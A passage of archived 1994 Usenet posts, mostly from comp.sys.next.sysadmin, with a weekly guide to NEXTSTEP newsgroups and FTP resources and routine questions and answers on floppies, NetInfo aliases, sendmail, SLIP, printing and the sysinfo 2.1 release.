The EXABYTE drive also works without problems, but note that tape
written by the Sparc to the drive can no longer be read. I assume the
drivers are incompatible. This may be obvious...
Thanks again for your replies,
--
Magnus Nordborg
magnus@fisher.stanford.edu (NeXT mail welcome)
Department of Biological Sciences
Stanford University
Stanford, CA 94305-5020
+1 (415) 723-4952 (office)
From: sanguish@digifix.com
Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace
Subject: Quick Guide to NEXTSTEP information on the Internet
Date: 24 Jan 1994 15:32:36 -0500
Organization: Next Announcements
Message-ID: <2i1b94$ba7@digifix.digifix.com>
This post is made weekly, to help 'point' users to more NEXTSTEP information
Topics include:
comp.sys.next newsgroups
related newsgroups
comp.sys.next newsgroups mailing list
ftp sites
NeXTanswers
comp.sys.next.* newsgroups
--------------------------
Comp.Sys.Next.Advocacy
This is the "why NEXTSTEP is better (or worse) than
anything else in the known universe" forum. It was
created specifically to divert lengthy flame wars
from .misc.
Comp.Sys.Next.Announce
Announcements of general interest to the NeXT community
(new products, FTP submissions, user group meetings,
commercial announcements etc.)
The NEXTSTEP FAQs are posted here monthly as well.
This is a moderated newsgroup, meaning that you can't
post to it directly. Submissions should be e-mailed
to next-announce@digifix.com where the moderator
(Scott Anguish) will screen them for suitability.
Comp.Sys.Next.Bugs
A place to report verifiable bugs in NeXT-supplied
software. Material e-mailed to Bug_NeXT@NeXT.COM
is not published, so this is a place for the net
community find out about problems when they're
discovered. This newsgroup has a very poor signal/noise
ratio--all too often bozos post stuff here that really
belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-
specific groups as well.
Comp.Sys.Next.Hardware
Discussions about NeXT-label hardware and compatible
peripherals, and non-NeXT-produced hardware (e.g.
Intel) that is compatible with NEXTSTEP. In most
cases, questions about Intel hardware are better
asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't
the place to buy or sell used NeXTs--that's what
.marketplace is for.
Comp.Sys.Next.Marketplace
NeXT stuff for sale/wanted. Material posted here must
not be crossposted to any other c.s.n.* newsgroup, but
may be crossposted to misc.forsale.computers.workstation
or appropriate regional newsgroups.
Comp.Sys.Next.Misc
For stuff that doesn't fit anywhere else. Anything you
post here by definition doesn't belong anywhere else in
c.s.n.*--i.e. no crossposting!!!
Comp.Sys.Next.Programmer
Questions and discussions of interest to NEXTSTEP
programmers. This is primarily a forum for advanced
technical material.
The NEXTSTEP programmer FAQs are posted here.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
Comp.Sys.Next.Software
This is a place to talk about [third party] software
products that run on NEXTSTEP systems.
Comp.Sys.Next.Sysadmin
Stuff relating to NeXT system administration issues;
in rare cases this will spill over into .programmer
or .software.
related Newsgroups
------------------
Comp.Soft-Sys.Nextstep
Like comp.sys.next.software and comp.sys.next.misc combined. Exists
because NeXT is a software-only company now, and comp.soft-sys is
for discussion of software systems with scope similar to NEXTSTEP.
Comp.Lang.Objective-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
Comp.Object
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then
again OOP allows one to be a programmer/philosopher.
(The original Comp.Sys.Next no longer exists--do not attempt to
post to it.)
Exception to the crossposting restrictions: announcements of
usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
-------------------------------------------
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are
now available as a mailing list digest as well.
next-nextstep-d
next-advocacy-d
next-announce-d
next-bugs-d
next-hardware-d
next-marketplace-d
next-misc-d
next-programmer-d
next-software-d
next-sysadmin-d
(For a full description, send mail saying LISTS to
<digestif@antigone.com>).
The subscription syntax is essentially the same as LISTSERV's.
To subscribe, send a message to <digestif@antigone.com> saying:
SUB Listname YourName
Example: SUB next-hardware-d John Doe
The ftp sites
-------------
cs.orst.edu: The main site for North American submissions
nova.cc.purdue.edu: Lots of older stuff, but very short on disk space
ftp.informatik.uni-muenchen.de: In Germany.
terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and
cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group)
ftp.next.com: See the below
ftp.next.com and NextAnswers@next.com
-------------------------------------
From the document 1000_Help from ftp.next.com
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, or you can transfer them by
anonymous ftp.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com.
Files are sent as NeXTmail attachments by default; you can request they be
sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO <your-address>
If you have any problem with the system or suggestions for improvement,
please send mail to NeXTanswers-request@NeXT.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to NeXTanswers-request@NeXT.com.
Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com
Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
Newsgroups: comp.sys.next.sysadmin
From: sherwood@fenris.space.ualberta.ca (Sherwood Botsford)
Subject: Re: formatting floppies
Message-ID: <1994Jan24.185810.3276@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <2hop6n$bue@debbie.cc.nctu.edu.tw>
Date: Mon, 24 Jan 1994 18:58:10 GMT
Arun Chandra (arunc@cc.nctu.edu.tw) wrote:
: Is there any way to force the formatting of floppies under NeXTStep
: 3.1?
: I have a bunch of DOS floppies, and I'd like to reformat them as NeXT
: floppies for backup purposes. (The DOS floppies only allow for "DOS
: length" names.)
: Right now, if the WM can read a floppy, it won't let you format it.
: Thanks for the help,
: Arun Chandra
: arunc@cc.nctu.edu.tw
Yup. Use the fdform (slabs) sdform (SCSI floppies)
e.g.
fdform /dev/rfd0a
Formatting disk /dev/rfd0a:
blocksize = 0x200
density = 2.88 MByte
gap3 length = 83(d)
.............
If you have a bunch:
while (1)
fdform /dev/rfd0a
/usr/etc/disk -e /dev/rfd0a
end
This will try to format the empty slot, bring up an alert panel to stuff
a disk in, format it, eject it, and ask for the next one.
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin
From: sherwood@fenris.space.ualberta.ca (Sherwood Botsford)
Subject: Re: How To Add New APPS to my Services Menu
Message-ID: <1994Jan24.191942.3911@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <2hmq03$7dj@transfer.stratus.com> <2hqdrl$cps@geraldo.cc.utexas.edu>
Distribution: na
Date: Mon, 24 Jan 1994 19:19:42 GMT
Alex Currier (mycroft@ccwf.cc.utexas.edu) wrote:
: In article <2hmq03$7dj@transfer.stratus.com> skeets@cac.stratus.com (Paul
: Pederson) writes:
: > I was told that the Services should add themselves, if they are coded to do
: > so. I look into my .NEXT/services/.applist file which I figure is the
: > configuration file for the services list. In this file I see the pathname
: > names of the applications is wish to see.
: If you put the applications in /LocalApps or ~/Apps they will automatically
: add whatever services they provide to the Services Menu. In addition, files
: made by these programs will now show their proper icons in the Browser and
: they appear as options in the "Default Tools" selector in the Workspace "Tools
: Inspector" panel. I've ended up putting all my apps in the ~/Apps and making
: links to other directories where they are "sorted". I am sure there is a way
: to make the OS look in other folders aside from ~/Apps to find things for
: these purposes but I've never gotten around to looking into it.
Try dwrite Workspace ApplicationPaths
"~/Apps:/LocalApps:/NextApps:/NextDeveloper/Apps:..."
(That should be on one line)
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin
From: kpompei@netcom.com (Kevin Pompei)
Subject: Problem with UUCP and domain name
Message-ID: <kpompeiCK5K43.Got@netcom.com>
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Date: Mon, 24 Jan 1994 21:09:39 GMT
Excuse me if the answer to this question is obvious; I am new
to using UUCP and system administration.
I recently setup a UUCP connection with a network provider.
So far everything seems to be working OK when email is sent
to my UUCP address. However, recently I registered a domain
name. When mail is sent to my domain, the mail is delivered
to my system but not forwarded on to the user, instead it is
qued back to my network provider.
Other than entering my local hostname and NIS Domain name into
HostManager, is there anything else I need to do to get my mail
delivered?
Thanks,
Kevin Pompei
--
kpompei@netcom.com
From: devans@uoguelph.ca (David F Evans)
Newsgroups: comp.sys.next.sysadmin
Subject: fbshow parameters
Date: 24 Jan 1994 21:32:35 GMT
Organization: University of Guelph
Message-ID: <2i1epj$m3n@nermal.cs.uoguelph.ca>
Just as a matter of curiosity....
Does anyone know the parameters for fbshow under 3.2? It seems like a neat
gizmo.
=============================================================================
David Evans devans@snowhite.cis.uoguelph.ca
Computer/Synth Junkie (NeXTMail OK)
University of Guelph "Default is the value selected by the
Guelph, Ontario, Canada composer overridden by your command."
- Roland TR-707 Manual
Newsgroups: comp.sys.next.sysadmin
From: yanik@planon.qc.ca (Yanik Crepeau)
Subject: Re: Macs & NeXTs via Ethernet
Message-ID: <1994Jan24.191554.6140@planon.qc.ca>
Sender: yanik@planon.qc.ca
References: <1994Jan23.122747.6795@crash>
Date: Mon, 24 Jan 1994 19:15:54 GMT
In article <1994Jan23.122747.6795@crash> coconut@crash.cts.com (Brian Dear) writes:
>
>
> We have a Quadra 840AV that we would like to add to our Ethernet
> network (thinnet coax cable). Ultimately it would be nice if
> we could get something like Eudora to run on the Mac so the Mac
> user could send/receive email through our NeXTcube which acts as
> our mail server.
>
> Anyone have experience doing this? What's needed? Esp. on the
> mac side.
>
> Is there a Mac NFS capability? Not completely necessary; I
> think we could get by with MacTCP and telnet/ftp for any file
> transfers.
>
> Any suggestions/comments welcome and appreciated.
> Please do not email replies as my NeXTmail is DOWN (see my note
> in comp.sys.next.misc regarding sendmail alises problems...)...
>
> -- bd
>
>
We connect a Classic Colour with LocalTalk cabling network to our netork of NeXTSTEP
computers. We used a GatorBox to make the bridge between the differents protocols used in
both Apple and NeXT sides.
Mac NeXTSTEP
Wiring System LocalTalk EtherNet
Network Protocol AppleTalk TCP/IP
FileSharing AFP NFS
If you have Ethernet connected to your Mac, you just need a NFS-AFP translator. AFP means
AppleTalk Filing Protocol which is the protocol used by AppleShare.
The NFS-AFP could reside in a GatorBox (the product name is GatorShare) or could reside
in your Macintosh as an add-on to your system folder.
--
Yanik Crepeau
Programmer
Planon Telexpertise
E-Mail: yanik@planon.qc.ca (NeXT)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
From: fineman@cs.washington.edu (Lucifer Sam)
Subject: Problems with Emacs.app 3.01
Message-ID: <1994Jan24.234026.5908@beaver.cs.washington.edu>
Sender: news@beaver.cs.washington.edu (USENET News System)
Organization: Computer Science & Engineering, U. of Washington, Seattle
Date: Mon, 24 Jan 94 23:40:26 GMT
Hi again-
i recently downloaded Emacs.app 3.01, and installed it.
Unfortunatly, whenever i launch it, it says
Unkown host "playdough"
and starts a *scratch* buffer (even if i launch it by double-clicking
on another file after using dwrite to make it default). My machine's named
playdough, btw. What do i have to change?
thanks
dan -- ascii please!
Newsgroups: comp.sys.next.sysadmin
From: gdevine@well.sf.ca.us (Graeme Devine)
Subject: Black 3.1 connecting to intel 3.2 server woes
Message-ID: <CK5uMG.8L4@well.sf.ca.us>
Summary: getting black ns 3.1 to work with intel 3.2 server
Keywords: 3.1 3.2 next step nextstep server network netinfo
Sender: news@well.sf.ca.us
Organization: The Whole Earth 'Lectronic Link, Sausalito, CA
Date: Tue, 25 Jan 1994 00:56:39 GMT
Hi,
I just trying connecting up my NeXTstation to our intel NeXT network. Our
network is running 3.2, and I'm running 3.1 on my station. I'm getting
terrible terrible speeds (>1hour to login), and netinfo keeps sleeping. The
connection is secure, and all the other systems run just fine.
Is this something to do with having an intel server? Or does the whole
network have to be using the same version of NEXTSTEP in order to work
right?
I need to get this fixed asap. I need to get the sound processing done for
XIth Hour - The 7th Guest II, and I've got the program running on my station
using the DSP.
help!
Graeme Devine
Trilobyte, Inc.
(zaphod@tbyte.com)
From: mcooper@acamar.usc.edu (Michael A. Cooper)
Newsgroups: comp.sys.sun.admin,comp.unix.solaris,comp.unix.ultrix,comp.unix.aix,comp.sys.next.sysadmin
Subject: ANNOUNCING sysinfo version 2.1
Date: 24 Jan 1994 18:07:38 -0800
Organization: USC Computing Services, Los Angeles
Sender: mcooper@acamar.usc.edu
Distribution: world
Message-ID: <2i1uta$684@acamar.usc.edu>
Sysinfo version 2.1 is now available via anonymous ftp from usc.edu as
"/pub/sysinfo/sysinfo.tar.gz". The README file below provides more
information:
SYSINFO 2.1
Michael A. Cooper
Research, Development, and Systems Group
University Computing Services
University of Southern California
mcooper@usc.edu
CHANGES
Changes Since Version 2.0
The major changes between version 2.0 and 2.1 include showing the
number of CPU's on systems supporting sysconf(_SC_NPROCESSORS_CONF)
(currently Solaris 2.2 and later) and showing the type of keyboard
present for Sun systems. Also, when running external programs,
sysinfo now sets the effective uid to the user running sysinfo and
uses execve() directly, instead of calling system().
Sysinfo should also be much more reliable on SunOS 4.1.x machines. A
number of problems in SunOS 4.1.x exist that cause system crashes that
earlier versions of SYSINFO tweaked. Mostly these problems have to do
with CDROM's and floppy disk drives.
The Alliant and Sun-386i platforms have also been dropped starting with
version 2.1. This is due to those platforms being phased out here at USC.
Changes Since Version 1.x
The major changes since version 1.x include adding support for getting
device information from the Open Boot PROM (OBP) on Sun-like machines
and support for SunOS 5.x (Solaris 2.x). The OBP interface provides
more information than ever. The OBP interface also gives sysinfo the
ability to provide detailed information on what types of CPUs are
available.
SunOS 5.x comes with a number of features which makes SYSINFO much
more portable across different manufacturer's hardware running SunOS
5.x. This includes the ability to determine the label on a disk drive
in a device driver independent fashion. This ability alone should
eliminate most of the problems with SYSINFO causing certain systems
with certain system configurations to crash. (Which I still maintain
is the fault of SunOS and not SYSINFO.) The OBP kernel interface in
SunOS 5.x also adds the ability to associate nodes found by looking
through the kernel with those nodes found by querying the OBP
directly. This means SYSINFO can extract and assign much more
information found by direct OBP queries than is possible with SunOS
4.x.
See the file "ChangeLog" for a complete list of changes.
GENERAL INFORMATION
Sysinfo is a program which shows various pieces of information about a
system. The original version was written to simply determine the
model name of a system for use in /etc/motd. It also supported a few
other pieces of information that were simple to obtain, but the method
used to obtain the information on various different OS's varied. The
current version shows many different "general" bits of system
information as well as fairly detailed information on system devices
such as disk drives, frame buffers, tape drives, and many others. A
lot of the information sysinfo displays is difficult, if not
impossible, to determine by normal OS commands and/or files after boot
time on many OS's.
Most of the OS specific information was determined by groveling
/usr/include/{sys,machine,*dev}/*.h files, section 4 man pages, and
reverse engineering the output from various commands like devinfo
(SunOS) and using the trace(2) facility. Some of the network (netif)
code was inspired by the sources to the 4.3BSD netstat and ifconfig
commands.
SUPPORTTED PLATFORMS
Sysinfo has been tested on the platforms listed below. Porting to
other BSD based Unix's is fairly straight-forward.
Sun-3 SunOS 4.1.1
Sun-4/SPARC SunOS 4.1.3, Solaris 2.3
SPARCbook-1 Solaris 1.0.1 SPARCbook Version A.3, B
Solbourne Series5E OS/MP 4.1A
DEC MIPS Ultrix 4.2A
NeXT MC680x0 NeXTStep 3.1
IBM RS/6000 AIX 3.2
INSTALLATION
1) Read the comments in "Makefile" and make any necessary changes.
2) Run "make". If you have multiple kernel architectures (kvm's)
for the same OS (like for SunOS 4.x), you must compile and install sysinfo
for each kernel arch. Currently, this is only required for SunOS 4.x.
It is _NOT_ required for Solaris 2.x/SunOS 5.x.
3) To install the sysinfo program, you can either use "make installmeta"
(read the file "metasysinfo" for details) or you can run "make install".
4) Run "make install.man" to install the man page.
BUG FIXES
Please send bug fixes, suggestions, and comments to mcooper@usc.edu.
WHERE TO GET IT
The latest/greatest version of sysinfo is available via anonymous ftp
on usc.edu in "/pub/sysinfo".
PLATFORM SPECIFIC NOTES
The following are notes regarding specific platforms:
SunOS 4.x
SYSINFO should be compiled for each kernel architecture machine
you wish to run it on. This is only needed for SunOS 4.x. It
is _NOT_ required for Solaris 2.x/SunOS 5.x. (SYSINFO is
normally installed into /usr/kvm and symlinked into something like
/usr/local/bin.) This is necessary if you wish to be able to get
the PROM version information. The SunOS 4.x interface to the PROM
information does not permit having one binary that can determine the
PROM information on all the different kernel architectures. This
interface problem is fixed in Solaris 2.x/SunOS 5.x.
Your kernel must have NIT (Network Interface Tap) compiled into it
in order to determine the Ethernet MAC address under SunOS 4.x.
Solaris 2.x/SunOS 5.x
Unlike SunOS 4.x, you only need one SYSINFO binary for each Solaris
2.x release. You do not need one for each kernel architecture.
i.e. SYSINFO compiled under Solaris 2.2 on a SPARC machine will
run on any Solaris 2.2 SPARC machine of any kernel architecture.
Under Solaris 2.2 FCS on sun4d hosts (like the SPARCcenter-2000), the
kernel has an empty value for the system "root nexus". This means
that you will not see a proper device tree on such systems.
Various nodes will not be attached where they should be.
This bug cropped up between Solaris 2.2 ER2 and FCS and is suppose
to be fixed in Solaris 2.3
Ultrix Your kernel must have the PF (Packet Filter) compiled into it
in order to determine the Ethernet MAC address.
Determining the System Model on VAX and MIPS machines is very
difficult. You can get a pretty good idea on most, but not
all VAX and MIPS machines by determining the number of CPUs
in a machine. You really need to know the clock speed of the
CPUs to get a good idea. Unfortuntely, I have neither the time
nor the equipment to work on this.
NeXT Network address info for network interfaces is not working. There
is currently no debugger that works with GCC 2.0 so I haven't spent
time on this.
AIX When looking up device information, SYSINFO uses the AIX "National
Language Catalogs". This means that your $LANG environment
variable must be set correctly. If it is not, SYSINFO may fail
to find most device information.
OTHER KNOWN PROBLEMS
SPARCbook "id" DISKS
The label on "id" disks on the SPARCbook-1 cannot be read. This
appears to be because the definition of IDE_READ in
<taddev/ide_drvr_def.h> is incorrect. This bug is present in
Solaris 1.0.1 Rev A.
--
Michael A. Cooper E-MAIL: mcooper@usc.edu
Manager of Systems Administration PHONE (VOICE): 213-740-2957
University Computing Services PHONE (FAX): 213-740-9312
University of Southern California
From: lucas@blkbox.COM (Lucas C. Wagner)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXT doesn't know when person dropped carrier (CD problem?)
Date: 25 Jan 1994 03:20:32 GMT
Organization: The Black Box (713) 480-2684
Message-ID: <2i2361$e87@uuneo.NeoSoft.com>
I have my Cube set to dial in. USR Sportster modem, my /etc/ttys
shows /dev/ttya as "on", as it is supposed to. I once had
this problem, but I corrected it via removing the "local" in
the /etc/ttytab (it was on a Sun)...
I have a NeXT 030 Cube with a black 030 cable meant for it.
If ANYONE could offer any solutions, I'd appreciate it. I'm not
quite sure what to do..
Thanks in advance,
Lucas
--
--
Lucas C. Wagner lucas@blkbox.com (NeXTmail accepted)
Tangent Software Development Voice: (409)-273-3140
"NeXT black hardware will never die."
Newsgroups: comp.sys.next.sysadmin
Subject: Re: sendmail aliases problem
Message-ID: <MATTHEW.94Jan25094438@viriconium.ocms.ox.ac.uk>
From: matthew@viriconium.ocms.ox.ac.uk (Matthew Seaman)
Date: 25 Jan 1994 09:44:38 GMT
Organization: Mat's Hacking Shop
This is in reply to Brian Dear's message of 23 Jan 94 --- I'd
follow-up but the original seems to have already passed its sell-by
date here...
I believe I have discovered what your problem is: here are the headers
from an e-mail I bounced off your site:
----- Transcript of session follows -----
While connected to mailhost:
>>> HELO coconut.coconut.com
<<< 553 coconut.coconut.com config error: mail loops back to myself
554 brian... 554 Service unavailable
----- Unsent message follows -----
Return-Path: <ucsd!viriconium.ocms.ox.ac.uk!matthew>
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sendmail 8.6.4/UCSD-2.2-sun via SMTP
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Date: Mon, 24 Jan 94 15:13:52 GMT
From: Matthew Seaman <ucsd!viriconium.ocms.ox.ac.uk!matthew>
Message-Id: <9401241513.AA03347@viriconium.ocms.ox.ac.uk>
To: coconut@crash.cts.com (Brian Dear)
In-Reply-To: coconut@crash.cts.com's message of 23 Jan 94 12:21:11 PST
Subject: Re: sendmail aliases problem
Looks like you're using the sendmail.sharedsubsidiary.cf config
file. I believe you should be using sendmail.mailhost.cf for your main
mail machine. Otherwise, any mail that should be delivered locally
will be forwarded to the main mail machine, which in your case causes
your machine to start talking to itself.
Matthew
--
Matthew Seaman <Matthew.Seaman@dyson.ox.ac.uk> Non-NeXT mail
<matthew@viriconium.ocms.ox.ac.uk> NeXT mail
Inorganic Chemistry Laboratory, S. Parks Rd, Oxford, OX1 3QR, England
Tel +44 (0)865 272640 Fax +44 (0)865 272690
From: shepherd@suite.com (Scot Shepherd)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Adding aliases to NetInfoMgr using command line
Date: 24 Jan 1994 14:14:09 GMT
Organization: Suite Software
Message-ID: <2i0l3h$141@bilbo.suite.com>
References: <9401181423.AA06319@jamison_john.eclipse.metropolis.com>
In article <9401181423.AA06319@jamison_john.eclipse.metropolis.com>
jamison@metropolis.com (John L. Jamison) writes:
>
> I find the interface for creating aliases with NetInfoMgr to be obtuse
and
> basically unusable. Is there a way to add aliases to NetInfoMgr without
> using the GUI interface? ie: a command-line interface? For each new
login I
> create 3 or 4 aliases and would like a nice and simple way to do this
from
> the command line.
>
> -Thanks
>
> John Jamison
>
>
> ******************************************************
> John Jamison
> Metropolis Software, Inc.
> jamison@metropolis.com
I use the command line utils nidump and niload as follows...
Logged into the netinfo master machine as root issue the command:
nidump aliases / > aliases.txt
edit the file aliases.txt to add your changes then issue the command
niload aliases / < aliases.txt
and I agree, the GUI interface for this sux.
Scot
From: shepherd@suite.com (Scot Shepherd)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Help! Netinfo Communication Problem...
Date: 24 Jan 1994 14:23:59 GMT
Organization: Suite Software
Message-ID: <2i0llv$15p@bilbo.suite.com>
References: <2hib53$ldj@usenet.INS.CWRU.Edu>
In article <2hib53$ldj@usenet.INS.CWRU.Edu> djs16@po.CWRU.Edu (Donald J.
Siegel) writes:
>
some deleted stuff...
>
> My goal is to have my simple stand-alone NeXT functioning on
> my school's network as it was before...
>
> Oh, btw, my system was originally set-up to function,
> supposedly, independent of netinfo. That is, before the
> upgrade to 3.2 the system should have relied solely on flatfile
> data (although I recall seeing boot-time errors about problems
> locating the parent netinfo server) could my system's previous
> configuration have any effect on the problems now present?
>
> Well, anyhow, thanks in advance for the help.
>
> I can provide more info if necessary...
>
> later,
> don...
I have been through this myself but I would need more info to help you.
Like is the netinfomgr on your schools net or are you setting your machine
up as one. What exactly are the error messages (during boot)? Most of the
problems I've seen are bad entries in hostconfig like a bad ipbroadcast
address etc... check these closely.
Scot
Newsgroups: comp.sys.next.sysadmin
From: kidd@kronos.sphs.indiana.edu (Gary Kidd)
Subject: Will Uninet's SLAT-1 work under NS 3.2?
Message-ID: <CK6x18.BLC@usenet.ucs.indiana.edu>
Keywords: serial ports
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: Indiana University
Date: Tue, 25 Jan 1994 14:46:20 GMT
I've been using Uninet's SLAT-1 serial port expander under NS 3.0 and it's
working fine. I've heard that serial ports are handled somewhat
differently under NS 3.2 and I'm conerned that my SLAT-1 may not work
after I upgrade. If anyone has tried to use a SLAT-1 under NS 3.2, I'd
like to hear about it. Any information about differences in the serial
port drivers under NS 3.2 and NS 3.0, that might help me determine whether
the device will work, would also be appreciated.
Thanks,
Gary R. Kidd
Department of Speech and Hearing Sciences
Indiana University
Bloomington, IN 47405
kidd@kronos.sphs.indiana.edu (NeXTmail welcome)
From: joe@retina.anatomy.upenn.edu (Joe Panico)
Newsgroups: comp.sys.next.sysadmin
Subject: Postscript print jobs crashing
Date: 25 Jan 1994 15:19:23 GMT
Organization: Dept. of Neuroscience, U. of Pennsylvania
Distribution: world
Message-ID: <2i3d9r$72t@netnews.upenn.edu>
Hi,
I have hooked up a Panasonic KX-P5400 LED printer to my PC running
NSI 3.2. This printer is Adobe PS level 2. When
printing out NeXT documentation (from the librarian), every thrity
pages or so, the print job crashes and I get an error message on
thje last printed page that says:
ERROR: undefined
OFFENDING COMMAND: ndBinary
STACK:
Can anyone tell me what's going on? Any clues much appreciated. Thanks.
Joe Panico
joe@retina.anatomy.upenn.edu
From: bora@ils.nwu.edu (Don Bora)
Newsgroups: comp.sys.next.sysadmin
Subject: SLIP
Date: 25 Jan 1994 15:16:45 GMT
Organization: The Institute for the Learning Sciences
Distribution: world
Message-ID: <2i3d4t$afp@anaxagoras.ils.nwu.edu>
First a question then a solution. If anyone has had problems
with the tcldiald program making a patch to the kernel read the
solution part of this post. Now a fairly simple question, I hope:
I get the error message:
dialupreq has no active reader
dialupip: This software has expired and is now stale.
dutimer: unit 0 - shutdown, we never had a line.
dutnetclose: ds 10f76000 dstty 0 unit 0
any idea what is going on? I got this error message in the Console.
The symptom is that net requests just hang and the computer gets
really slow just after I try a ping or something and then it
returns to normal after about 30 seconds or so.
Solution to the kernel problem:
I was hip deep the NeXT Mach-O Kernel documentation when I saw
a reference to the kern_loader.conf. The docs said that this
is where the kernel servers were loaded into the kernel at boot time.
I added the line /usr/dialupip/bin/cslip_reloc and everything works
fine execpt for the above mentioned error.
Thanks to everyone who helped
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
Donald F. Bora | | |
The Institute for the Learning Sciences | | O |
Northwestern University | (--|--)
Evanston, Ill | |
e-mail: dbora@ils.nwu.edu (Not NeXTMail) | / \
work: (708) 467-1972 |
--------Be excellent to each other--------
From: kelley@kiwi.ATMOS.ColoState.Edu (Kelley Wittmeyer)
Newsgroups: comp.sys.next.sysadmin
Subject: nsfip - machine won't boot after install
Date: 25 Jan 1994 09:59:19 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9401251604.AA11415@kiwi.ATMOS.ColoState.Edu>
hi all
our first 'white' machine... i installed 3.2 on it
over the weekend and it came up nicely. first time
i reboot, the machine hangs on the starting automounter
message.
the machine is a 486/33 dx w/
ati ultra pro 2mb graphics card
2 floppy drives
520mb fujitsu scsi disk (scsi id 0)
uart fast serial/parallel i/o isa controller
1542cf scsi-2/floppy isa controller
any help would be GREATLY appreciated.
as an aside, i tried posting w/ newsgrazer to csn.admin
but since i've upgraded to 3.2, none of my posts seem
to be getting out... so conrad geiger pointed out the
newsgroup email address. thanks, conrad!
kelley wittmeyer
dept of atmospheric science
colorado state university
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
From: cedman@princeton.edu (Carl Edman)
Subject: Re: Can you change the default app for any given file type?
In-Reply-To: fineman@cs.washington.edu's message of Mon, 24 Jan 94 18:00:58 GMT
To: fineman@cs.washington.edu (Daniel Fineman)
Message-ID: <CEDMAN.94Jan25124923@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <1994Jan24.180058.26018@beaver.cs.washington.edu>
Date: Tue, 25 Jan 1994 17:49:23 GMT
In article <1994Jan24.180058.26018@beaver.cs.washington.edu> fineman@cs.washington.edu (Daniel Fineman) writes:
Hey all - i recently downloaded Emacs for NeXTStep, and i'd much
rather have text files loaded into Emacs than Edit when you
double-click on them. Can you change this somehow? I can't see a way
to change any of this in the workspace preferences.... there's only
one option for which app to open - how can you add another one?
Try:
dwrite Workspace DefaultOpenApp Emacs
This works just fine here with Emacs 19 for NS. At least under recent
releases of NS, .rtf files and .rtfd packages will still be opened in
Edit (which is what you want until someone writes rtf-mode.el).
Carl Edman
Newsgroups: comp.sys.next.sysadmin
From: trebels@orpheus.theo-phys.gwdg.de (Stephan Trebels)
Subject: Re: Changing root password on a lone NeXT [black]
Message-ID: <JUDLBOKV@gwdu03.gwdg.de>
Sender: news@gwdu03.gwdg.de (USENET News System)
